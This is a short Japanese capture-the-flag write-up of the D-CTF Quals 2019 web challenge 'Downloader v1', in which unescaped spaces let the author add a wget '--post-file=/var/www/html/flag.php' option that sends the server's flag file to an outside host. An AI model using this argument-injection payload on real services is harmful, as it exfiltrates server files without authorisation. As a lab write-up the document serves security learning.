9 月 7 日から 9 月 8 日にかけて開催された D-CTF Quals 2019 に、チーム Harekaze として参加しました。最終的にチームで 1176 点を獲得し、順位は得点 307 チーム中 29 位でした。うち、私は 1 問を解いて 50 点を入れました。
以下、私が解いた問題の write-up です。
Don’t you find it frustrating when you have uploaded some files on a website but you’re are not sure if the download button works? Me neither. But some people did. Is there even demand for such a service?
(URL)
与えられた URL にアクセスすると、以下のような HTML が返ってきました。
<!DOCTYPE html>
<html>
<head>
<title>Downloader v1</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container mt-5">
<div class="row">
<div class="col-8 offset-2">
<h3 class="text-center">File downloader v1</h3>
<div class="card mt-5">
<div class="card-header">Specify an URL to download</div>
<form class="card-body" method="POST">
<div class="form-group">
<label>URL to download:</label>
<input type="text" name="url" placeholder="http://example.com/image.jpg" value="" class="form-control" >
</div>
<button type="submit" class="btn btn-primary float-right">Submit</button>
</form>
</div>
</div>
</div>
</div>
<!-- <a href="flag.php">###</a> -->
</body>
</html>
URL を入力するとダウンロードしてくれるサービスのようです。とりあえず http://example.com/image.jpg
を入力してみると、以下のような出力が返ってきました。
$ cd uploads/5d7bd4c0139dccf764bbd4dbbed5b
$ wget http://example.com/image.jpg 2>&1
--2019-09-13 17:41:20-- http://example.com/image.jpg
Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946
Connecting to example.com (example.com)|93.184.216.34|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2019-09-13 17:41:20 ERROR 404: Not Found.
$ bash -c 'rm uploads/5d7bd4c0139dccf764bbd4dbbed5b/*.{php,pht,phtml,php4,php5,php6,php7}'
入力した URL からファイルをアクセス可能な場所にダウンロードし、もし PHP に関連する拡張子を持つファイルがダウンロードされていればそれを削除しています。
'
や "
、$
を含んだ URL を投げると、いずれも \'
\"
\$
のようにエスケープしているのが確認でき、OS コマンドインジェクションの対策がされているように見えます…が、
(半角スペース) はエスケープされません。これを利用して、適当な URL に flag.php
の内容をアップロードさせるようなオプションを付加してみましょう。
(URL) --post-file=/var/www/html/flag.php a
を投げると、以下のようなボディを持った HTTP リクエストが来ました。
GET ME! <?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>
フラグが得られました。
DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0}